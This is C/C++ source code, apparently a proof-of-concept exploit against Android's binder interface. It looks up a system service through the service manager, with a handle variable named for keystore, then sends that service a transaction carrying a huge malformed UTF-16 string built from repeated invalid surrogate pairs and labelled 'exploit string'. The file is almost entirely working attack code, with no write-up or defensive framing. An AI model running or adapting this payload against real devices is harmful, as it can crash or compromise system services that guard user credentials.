#include #include #include #include #include #include "binder.h" struct binder { int fd; void* map; size_t map_len; }; struct binder binder_open() { struct binder binder = { 0 }; struct binder_version version = { 0 }; binder.fd = open("/dev/binder", O_RDWR | O_CLOEXEC); if (binder.fd < 0) { fprintf(stderr, "binder_init() - failed to open /dev/binder!"); abort(); } if ((ioctl(binder.fd, BINDER_VERSION, &version) < 0) || version.protocol_version != BINDER_CURRENT_PROTOCOL_VERSION) { fprintf(stderr, "binder_init() - binder version mismatch!"); abort(); } binder.map_len = ((1 * 1024 * 1024) - (4096 * 2)); binder.map = mmap(NULL, binder.map_len, PROT_READ, MAP_PRIVATE | MAP_NORESERVE, binder.fd, 0); if (binder.map == MAP_FAILED) { fprintf(stderr, "binder_init() - mapping /dev/binder failed!"); abort(); } return binder; } void binder_close(struct binder& binder) { munmap(binder.map, binder.map_len); close(binder.fd); memset(&binder, 0, sizeof(binder)); } static int binder_write_read(struct binder& binder, uint8_t* write, size_t write_len, uint8_t* read, size_t* read_len) { int result = 0; struct binder_write_read wr = { 0 }; wr.write_buffer = (unsigned long)write; wr.write_consumed = 0; wr.write_size = write_len; wr.read_buffer = (unsigned long)read; wr.read_consumed = 0; if (read_len) { wr.read_size = *read_len; } else { wr.read_size = 0; } result = ioctl(binder.fd, BINDER_WRITE_READ, &wr); if (read_len) { *read_len = wr.read_consumed; } return result; } static int binder_read(struct binder& binder, uint8_t* data, size_t* data_len) { return binder_write_read(binder, NULL, 0, data, data_len); } static int binder_write(struct binder& binder, uint8_t* data, size_t data_len) { return binder_write_read(binder, data, data_len, NULL, NULL); } static int binder_write_call(struct binder& binder, uint32_t handle, uint32_t code, uint8_t* data, size_t data_len, uint8_t* offsets, size_t offsets_len) { uint32_t write_buf[(sizeof(uint32_t) + sizeof(struct binder_transaction_data)) / sizeof(uint32_t)] = { 0 }; struct binder_transaction_data* txn = (struct binder_transaction_data*)&write_buf[1]; write_buf[0] = BC_TRANSACTION; txn->target.handle = handle; txn->code = code; txn->flags = 0; txn->data.ptr.buffer = (binder_uintptr_t)data; txn->data_size = data_len; txn->data.ptr.offsets = (binder_uintptr_t)offsets; txn->offsets_size = offsets_len; return binder_write(binder, (uint8_t*)write_buf, sizeof(write_buf)); } static void hexdump(void* address, size_t len) { char ascii[17]; unsigned char* ptr = (unsigned char*)address; int i = 0; for (i = 0; i < len; i++) { if ((i % 16) == 0) { if (i) { fprintf(stderr, " %s\n", ascii); } fprintf(stderr, "%08x: ", ((uint64_t)address) + i); } fprintf(stderr, " %02x", *ptr); if ((*ptr < 0x20) || (0x7e < *ptr)) { ascii[i % 16] = '.'; } else { ascii[i % 16] = *ptr; } ascii[(i % 16) + 1] = '\0'; ptr++; } while (i++ % 16) { fprintf(stderr, " "); } fprintf(stderr, " %s\n", ascii); } uint8_t data0[] = { 0x00, 0x01, 0x00, 0x00, // string16 'android.os.IServiceManager' 0x1a, 0x00, 0x00, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x64, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x69, 0x00, 0x64, 0x00, 0x2e, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x49, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x4d, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x67, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, }; #define INVALID_0x100 \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, \ 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, 0x41, 0xd8, 0x41, 0xd8, 0x41, 0xdc, #define VALID_0x100 \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, \ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, #define INVALID_0x1000 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 \ INVALID_0x100 #define VALID_0x1000 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 \ VALID_0x100 uint8_t data1[] = { 0x00, 0x01, 0x00, 0x00, // string16 exploit string 0x00, 0x00, 0x04, 0x00, INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 INVALID_0x1000 0x00, 0x00, 0x00, 0x00, }; int main(int argc, char** argv) { struct binder b; uint8_t data[0x400]; uint32_t output[128]; size_t output_length = sizeof(output); uint32_t* ptr = NULL; uint32_t keystore_handle = 0; // open binder b = binder_open(); memset(data, 0, sizeof(data)); memcpy(data, data0, sizeof(data0)); uint8_t* bptr = &data[sizeof(data0)]; *((uint32_t*)bptr) = strlen(argv[1]); bptr += 4; for (int i = 0; i < strlen(argv[1]); ++i) { *bptr++ = argv[1][i]; *bptr++ = 0; } // get a handle to the target service binder_write_call(b, 0, 1, data, sizeof(data), NULL, 0); binder_read(b, (uint8_t*)output, &output_length); hexdump(output, output_length); ptr = output; while ((char*)ptr - (char*)output < output_length) { switch (*ptr++) { case BR_REPLY: { binder_transaction_data* txn = (binder_transaction_data*)ptr; if (txn->data_size != 24 || txn->offsets_size != 8) { fprintf(stderr, "[!] bad response from service manager :-(\n"); } uint32_t* data_ptr = (uint32_t*)txn->data.ptr.buffer; hexdump(data_ptr, txn->data_size); keystore_handle = data_ptr[2]; fprintf(stderr, "[*] keystore_handle = %u\n", keystore_handle); } break; default: { } break; } } // send a ridiculous unicode string :-P binder_write_call(b, keystore_handle, 25, data1, sizeof(data1), NULL, 0); binder_read(b, (uint8_t*)output, &output_length); hexdump(output, output_length); return 0; }